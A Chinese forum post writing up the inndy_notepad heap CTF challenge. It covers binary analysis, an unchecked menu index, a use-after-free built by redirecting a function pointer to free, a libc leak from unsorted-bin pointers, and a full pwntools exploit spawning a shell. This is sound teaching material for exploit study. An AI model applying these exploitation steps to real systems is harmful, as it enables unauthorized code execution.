首页
论坛
课程
招聘
[原创]一个堆题inndy_notepad的练习笔记
2021-10-6 10:53 16653

[原创]一个堆题inndy_notepad的练习笔记

2021-10-6 10:53
16653

一个堆题inndy_notepad的练习笔记

对于堆的恐惧来自堆复杂的管理机制(unsorted,fastbin,small,large bin看着都头大),相较于栈(压入弹出)来说复杂太多了,再加上使用GDB调试学习堆时,每次堆分配时,调试起来相当的麻烦,所以一直都是理论学习,堆不敢碰不敢尝试。

 

今日小明同学终于排除了心中对堆的恐惧,在高铁上尝试了一下堆,熟悉了堆的分配机制。

 

题目来自buu[https://buuoj.cn/challenges#inndy_notepad]。

0x01 题目分析

基本信息分析

查看文件类型,32位,没有去掉符号( not stripped,很开心,省去了猜函数的“乐趣”)

1
2
# file notepad
notepad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=65aa4834fcd253be2490ea1dc24a0c582f0cbb6f, not stripped

查看保护机制,一些直观的映像见下面注释

1
2
3
4
5
6
# checksec notepad
    Arch:     i386-32-little
    RELRO:    Partial RELRO # 可写got
    Stack:    Canary found #如果要栈溢出,需要考虑canary的问题
    NX:       NX enabled #不可以在栈上,bss段上布局shellcode,因为不可执行
    PIE:      No PIE (0x8048000) # 很开心,本程序每次加载的地址都是固定的

拖入IDA,查看字符串(shift+f12),没有system,没有/bin/sh(难受,需要泄露libc地址)。

 

至此,一些最直观、最简单的分析完毕。我们可以得到以下信息:

 

本程序是32位程序,每次加载时地址固定,如果存在栈溢出,需要考虑canary check的问题,并且溢出之后不能在数据区(栈、bss段)布局shellcode,因为数据区不可执行,所以需要通过ROP实现我们的意图。同时,程序本身不存在system和/bin/sh,需要通过泄露libc的地址来获取我们需要的libc中的函数(如system)。

0x02 功能分析&找茬

好了,下面开始找茬吧

主函数

包含循环,从函数名看是一个菜单显示加功能选择。有四个函数

 

图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
menu:
  int __cdecl menu(int a1)
  {
    int result; // eax
    int i; // [esp+8h] [ebp-10h]
    int v3; // [esp+Ch] [ebp-Ch]
 
    for ( i = 0; *(4 * i + a1); ++i )
      printf("%c> %s\n", i + 97, *(4 * i + a1));
    printf("::> ");
    v3 = getchar() - 'a';
    freeline();
    if ( v3 < i ) # 没有检查下界???此时一定要标记出来这个函数有问题,不然后面就忘了 --!
      result = v3 + 1;
    else
      result = 0;
    return result;
  }
bash:
  unsigned int bash()
  {
    char s; // [esp+Ch] [ebp-8Ch] #128没毛病
    unsigned int v2; // [esp+8Ch] [ebp-Ch]
 
    v2 = __readgsdword(0x14u);
    printf("inndy ~$ ");
    fgets(&s, 128, stdin);
    rstrip(&s); #替换一些特殊字符,没毛病
    printf("bash: %s: command not found\n", &s);
    return __readgsdword(0x14u) ^ v2;
  }
cmd:
  unsigned int cmd()
  {
    char s; // [esp+Ch] [ebp-8Ch] #128没毛病
    unsigned int v2; // [esp+8Ch] [ebp-Ch]
 
    v2 = __readgsdword(0x14u);
    puts("Microhard Wind0ws [Version 3.1.3370]");
    puts("(c) 2016 Microhard C0rporat10n. A11 rights throwed away.");
    puts(&byte_8049371);
    printf("C:\\Users\\Inndy>");
    fgets(&s, 128, stdin);
    rstrip(&s);
    printf("'%s' is not recognized as an internal or external command\n", &s);
    return __readgsdword(0x14u) ^ v2;
  }
notepad:
  主要的功能函数,下面分析

menu函数中,我们可以控制menu函数的返回值!看似可疑的两个函数cmd和bash貌似没毛病,往后看。

进入notepad函数:

图片描述

 

包含6个函数:

1
2
3
4
5
6
7
8
9
10
11
12
menu
    函数负责显示菜单,并且根据输入选择执行功能。前面提到,这个函数可以输出一个负数,但是貌似在这没有什么用!跳过
notepad_new
    见下面
notepad_open
    见下面
notepad_delete
    见下面
notepad_rdonly
    用于分析note struct字段
notepad_keepsec
    用于分析note struct字段

notepad_new

图片描述

 

大致通过注释解释了一下分析过程,后面不再进行详细的分析。这里需要留意的地方是:这里的函数(notepad_show,notepad_destory)指针放在了堆上,如果我们能够溢出覆盖到这两个函数指针,岂不是就可以控制EIP执行我们想要执行的流程了吗?(初步感觉,实际上并不是溢出,只是分析时存在利用的可能性)可以看出通过size控制输入的长度,但并不存在溢出的机会。接着看下面

notepad_open:

图片描述

 

在这里使用了menu函数。还记得前面我们分析的结构,我们可以控制这个函数的输出吗?控制了这个值后,我们就间接控制了上图menu函数下面的这个函数指针(*(&v3->p_func_show + v0 - 1))(v3);这个函数的参数是这个块的首地址(不受控制)。所以这里我们可以分析得出:

  1. 如果我们能够通过控制v0控制函数指针指向我们想要执行的函数就完成了第一步,例如变成system
  2. 第二步,如果我们能控制v3处的内容就好了,例如变成'/bin/sh',怎么实现呢?貌似没有什么思路,接着看吧!

notepad_delete:

图片描述

 

这个函数中通过id释放了相应的note,并且清空了相应的指针,堵住了UAF的路。

 

等等!!UAF,我们不是能够控制一个函数指针吗?参数正好是分配的堆块地址!我们可以控制这个函数指针为free,释放掉当前块,并且没有清空指针的操作!一个野指针就这么诞生了,UAF!

 

至此,一个邪恶的计划产生了!

0x03 一个邪恶的计划

  1. 生成两个大小相同的堆块A和B(这两个堆块相邻哦);对于A,我们填充其内容,使其包含free函数的地址;对于B,我们使用menu的返回值(负数),控制函数指针指向A内容中的free函数地址,这样我们可以控制函数指针指向free(此时参数是B的首地址),这样通过操作B就可以free掉B自己。重要的是,虽然此时B已经被free掉了,但是因为我们还控制着指向B的指针,所以我们还能操控B,这很重要(use after free)。

  2. B现在被free掉了,躺在unsortedbin中,但是这有什么用呢?如果我们能让A覆盖到B就好了。可以吗?可以的!!这里用到了堆分配中的一个知识点:当相同大小的堆块释放时,会被放入同一个类型bin上。所以,此时如果我们free掉A,那么他们就同时躺在unsortedbin中了(此时他们会被合并!另一个知识点)。此时,我们使用一个大于堆A,小于A+B的大小,malloc一个块,此时返回的地址就是A的地址(称为A'),但是范围却覆盖到了B。至此我们就能控制B的内容了,比如通过重新分配出来的A',覆盖B的首地址位置,输入'/bin/sh'。

  3. 但是,现在我们还差个system函数啊?libc的地址还没有获取到呢?另一个堆的知识点(真多,麻木!)linux使用free进行内存释放时,不大于64B的块会先放入fastbin,大于64的块会放入unsortedbin。如果fastbin为空时,unsortedbin中第一个块的fd和bk指针指向自身的main_arena中。而main_arena在libc中,利用这个点,我们可以泄露libc的地址。怎么弄呢?在第一步中,如果我们的B的size大于64(本例中0x60),那么在free时,就会直接被放入unsortedbin,此时fastbin中没有数据,那么B的数据区的前两个DWORD就是fd和bk,指向libc中的main_arena+48(针对本例chunk大小ox60)的位置。而main_arena在libc中是固定偏移的,我们用IDA打开libc,找到malloc_trim函数,如下图高亮位置就是偏移量,本例中是0x1b3780。至此我们可以获得libc的地址,通过偏移,我们可以找到system的地址。

    图片描述

终于,我们邪恶艰难的计划有了雏形。

0x04 exploit

下面就是执行了

 

首先,套路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/python
#coding:utf-8
from pwn import *
from LibcSearcher import *
 
 
context(arch="amd64", os="linux")
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
#
#--------------------
# 连接选项
#--------------------
is_local = 1
local_path = './notepad'
addr = 'node4.buuoj.cn'
port = 25207
if is_local:
   io = process(local_path)
else:
   io = remote(addr,port)
 
#--------------------
# 调试选项
#--------------------
 
def debug(cmd):
    gdb.attach(io, cmd)
    # pause()
 
 
#--------------------
# 常用函数
#--------------------
se      = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ra      = lambda                    :io.recvall()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia      = lambda                    :io.interactive()
halt    = lambda                    :io.close()
 
 
elf=ELF(local_path)
libc = ELF('./libc.so')
p_free_plt=elf.plt['free']
p_puts_plt=elf.plt['puts']
p_=elf.symbols['main']
 
 
def notepad_new(size, data):
   sla(b'::>', b'a')
   sla(b'size >', str(size).encode('utf-8'))
   sla(b'data >', data)
   # sleep(0.1)
 
def notepad_open(id, offset):
   sla(b'::>', b'b')
   sla(b'id >', str(id).encode('utf-8'))
   sla(b'(Y/n)', b'n')
   sla(b'::>', chr(ord('a')+offset))
   return ru(b'note closed')
 
def notepad_edit(id, offset, content): # 与上面一个open函数的区别是这里可以编辑内容
   sla(b'::>', b'b')
   sla(b'id >', str(id).encode('utf-8'))
   sla(b'(Y/n)', b'y')
   sla(b'content >', content)
   ru(b'note saved')
   sla(b'::>', chr(ord('a')+offset))
   ru(b'note closed')
 
def notepad_delete(id):
   sla(b'::>', b'c')
   sla(b'id >', str(id).encode('utf-8'))
  1. 首先分配4个块。等等!!前面不是说两个块,一个A,一个B吗?这里堆的另一个知识点,为了提高内存的利用率,堆在释放时,会检查他的上一个块,如果这个块是TOP chunk的话,就会与其进行合并(这样我们的块就丢了,再分配时会从TOP chunk上切一块给你,不受控制),所以为了保证我们的块不被不受控制的合并,我们在A和B的上下添加了一个块(0和3),如下:

    1
    2
    3
    4
    notepad_new(0x60, b'aaaa') #0
    notepad_new(0x60, b'aaaa') #1 or A
    notepad_new(0x60, b'aaaa') #2 or B
    notepad_new(0x60, b'aaaa') #3

    其中,参数0x60是note内容的大小,是为了保证堆块在释放时能被放入unsorted bin。

    然后,我们填充A,使得其内容包含free函数指针;控制B中的指针(利用menu没有检查返回值的下界的问题)

    1
    2
    3
    4
    notepad_edit(1, 0, b'b'*(0x60-4) + p32(p_free_plt)) # 编辑A的内容包含free的指针,指针放在A的最后四个字节
    #根据menu函数中下界没有检查的问题,将eip指向B(notepad_show函数的位置)前3个dword(从后往前数,前两个dword是堆块的头,第三个块是前一个块的数据)的位置,也就是前一个块的最后四个字节(free函数的地址)
    #此时free函数的地址是当前块的首地址,因此下面这个操作的目的是释放当前块
    notepad_open(2, -3) # free 2

    图片描述

    如上图所示,A块起始位置0x9579078,,B块起始位置0x95790f0。块首的两个dword(4bytes)为堆块的头部。我们的free函数地址填充到了0x95790ec,此时我们可控的函数指针位置在0x95790f8,中间相差3个dword(因此然后menu返回-3,就可以调用到我们放入的指针),至此我们可以控制free函数,释放0x95790f0位置的块B(在unsortedbin中fb和bk为main_arena+48)。

    图片描述

    此时,我们再通过程序提供的函数释放掉A

    1
    notepad_delete(1) # free 1 A

    如下图,我们发现出现了A和B的合并,那个size=0xf1的块就是

    图片描述

    1. 此时我们再将A malloc出来,填充数据,内容包含puts的函数指针,大小为0xf1的哪个就是了,我们称为A’,现在A'中包含了puts的地址。

      为什么两个size=0x60释放后是size=0xf1.

      1. 首先由于在unsorted bin 中,两个块进行了合并,0x60 + 0x60 = 0xC0
      2. 由于每个chunk都会包含一个头部,本例中头部为0x10 2,则0xC0+0x102 = 0xF0
      3. 由于该块的前一个块(0x9579000)处于使用状态,所以该块的PREV_INUSE是1,所以0xF0 + 0x1 = 0xF1
      4. 同理可解释其他块
    1
    notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2

    pre_size字段,如果上一个块处于释放状态,用于表示其大小,否则上一个块处于使用状态时,pre_size为上一个块的一部分,用于保存上一个块的数据。可以通过观察0x9579168地址处验证

    图片描述

    可以看到B块在unsortedbin中走了一遭后,0x95790f0+8位置变为了0xf7f747b0(main_arena+48)。再次强调B块的指针我们是知道的!此时,我们通过控制的指针指向puts函数打印B起始地址的内容,就可以得到main_arena+48的地址,结合main_arena在libc中的偏移(前文提到,高亮的哪个)就可以计算出libc的地址,从而获得system的地址。

    1
    2
    3
    4
    5
    6
    7
    8
    notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2
     
    main_area_addr = notepad_open(2, -2)[1:5]
    main_area_addr = u32(main_area_addr) - 48
    print(hex(main_area_addr))
     
    libc_base = main_area_addr - 0x1B3780 # 从libc文件中的malloc_trim函数第4行获取
    p_system = libc_base + libc.symbols['system']
  1. 最后,我们要写入/bin/sh到B起始的位置。相同的原理,通过A‘写入数据,内包含system地址和/bin/sh

    1
    notepad_edit(1, 0, b'b'*(0x60-4 + 4) + p32(p_system) + b'b'*4  + b'/bin/sh')

    图片描述

    现在,再次调用noteopen(2, -2),此时,我们的函数指针-2位置为我们填入的system函数,B块的起始位置,放入了/bin/sh,完美!!

    1
    2
    3
    4
    5
    6
    7
    sla(b'::>', b'b')
    sla(b'id >', str(2).encode('utf-8'))
    # sla(b'(Y/n)', b'n')
    sla(b'::>', chr(ord('a')-2))
     
    # ra()
    ia()

    图片描述

完整exp奉上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/python
#coding:utf-8
from pwn import *
from LibcSearcher import *
 
 
context(arch="amd64", os="linux")
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
#
 
#--------------------
# 连接选项
#--------------------
is_local = 1
local_path = './notepad'
addr = 'node4.buuoj.cn'
port = 25207
if is_local:
   io = process(local_path)
else:
   io = remote(addr,port)
 
#--------------------
# 调试选项
#--------------------
 
def debug(cmd):
    gdb.attach(io, cmd)
    # pause()
 
 
#--------------------
# 常用函数
#--------------------
se      = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ra      = lambda                    :io.recvall()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia      = lambda                    :io.interactive()
halt    = lambda                    :io.close()
 
 
elf=ELF(local_path)
libc = ELF('./libc.so')
p_free_plt=elf.plt['free']
p_puts_plt=elf.plt['puts']
p_=elf.symbols['main']
 
 
def notepad_new(size, data):
   sla(b'::>', b'a')
   sla(b'size >', str(size).encode('utf-8'))
   sla(b'data >', data)
   # sleep(0.1)
 
def notepad_open(id, offset):
   sla(b'::>', b'b')
   sla(b'id >', str(id).encode('utf-8'))
   sla(b'(Y/n)', b'n')
   sla(b'::>', chr(ord('a')+offset))
   return ru(b'note closed')
 
def notepad_edit(id, offset, content):
   sla(b'::>', b'b')
   sla(b'id >', str(id).encode('utf-8'))
   sla(b'(Y/n)', b'y')
   sla(b'content >', content)
   ru(b'note saved')
   sla(b'::>', chr(ord('a')+offset))
   ru(b'note closed')
 
def notepad_delete(id):
   sla(b'::>', b'c')
   sla(b'id >', str(id).encode('utf-8')) 
 
sla(b'::>', b'c')
debug_cmd = '''
                b *0x08048CE8
                c
            '''   
# open 8048E46 
# call eax 08048CE8
# 08048CBF
 
 
 
notepad_new(0x60, b'aaaa')
notepad_new(0x60, b'aaaa')
notepad_new(0x60, b'aaaa')
notepad_new(0x60, b'aaaa')
#
notepad_edit(1, 0, b'b'*(0x60-4) + p32(p_free_plt))
#根据menu函数中下界没有检查的问题,将eip指向notepadshow函数前3个dword的位置,也就是前一个块的最后四个字节(free函数的地址)
#此时free函数的地址是当前块的首地址,因此下面这个操作的目的是释放当前块
# debug(debug_cmd)
notepad_open(2, -3) # free 2
 
notepad_delete(1) # free 1
 
notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2
 
main_area_addr = notepad_open(2, -2)[1:5]
main_area_addr = u32(main_area_addr) - 48
print(hex(main_area_addr))
 
libc_base = main_area_addr - 0x1B3780 # 从libc文件中的malloc_trim函数第4行获取
p_system = libc_base + libc.symbols['system']
 
# notepad_delete(1)
 
# notepad_new(0x60, b'aaaa')
# notepad_new(0x60, b'bbbb')
 
notepad_edit(1, 0, b'b'*(0x60-4 + 4) + p32(p_system) + b'b'*4 +  b'/bin/sh')
# debug(debug_cmd)
# notepad_open(2, -2)
sla(b'::>', b'b')
sla(b'id >', str(2).encode('utf-8'))
# sla(b'(Y/n)', b'n')
sla(b'::>', chr(ord('a')-2))
 
 
 
# ra()
ia()

因为我这里用的是自己机器中的libc,所以可能有些差异,但大体上是一样的,libc信息如下。

1
2
3
4
# ldd notepad
    linux-gate.so.1 =>  (0xf7f29000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d54000)
    /lib/ld-linux.so.2 (0xf7f2b000)

0x05 总结

总的来说,这道题没有用到溢出的知识,但是对于堆的分配、回收(合并)等知识点进行了考察,对我来说,熟悉了堆在GDB调试下的熟练度,克服了一直以来对堆的恐惧,也是一大收获。

 

但是在学习的过程中依然存在很多问题,很多知识点还是有些模糊,留给后面继续深入吧。

0x06参考资料

《CTF竞赛权威指南(Pwn篇)》第11章libc概述


[公告] 欢迎大家踊跃尝试高研班11月试题,挑战自己的极限!

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回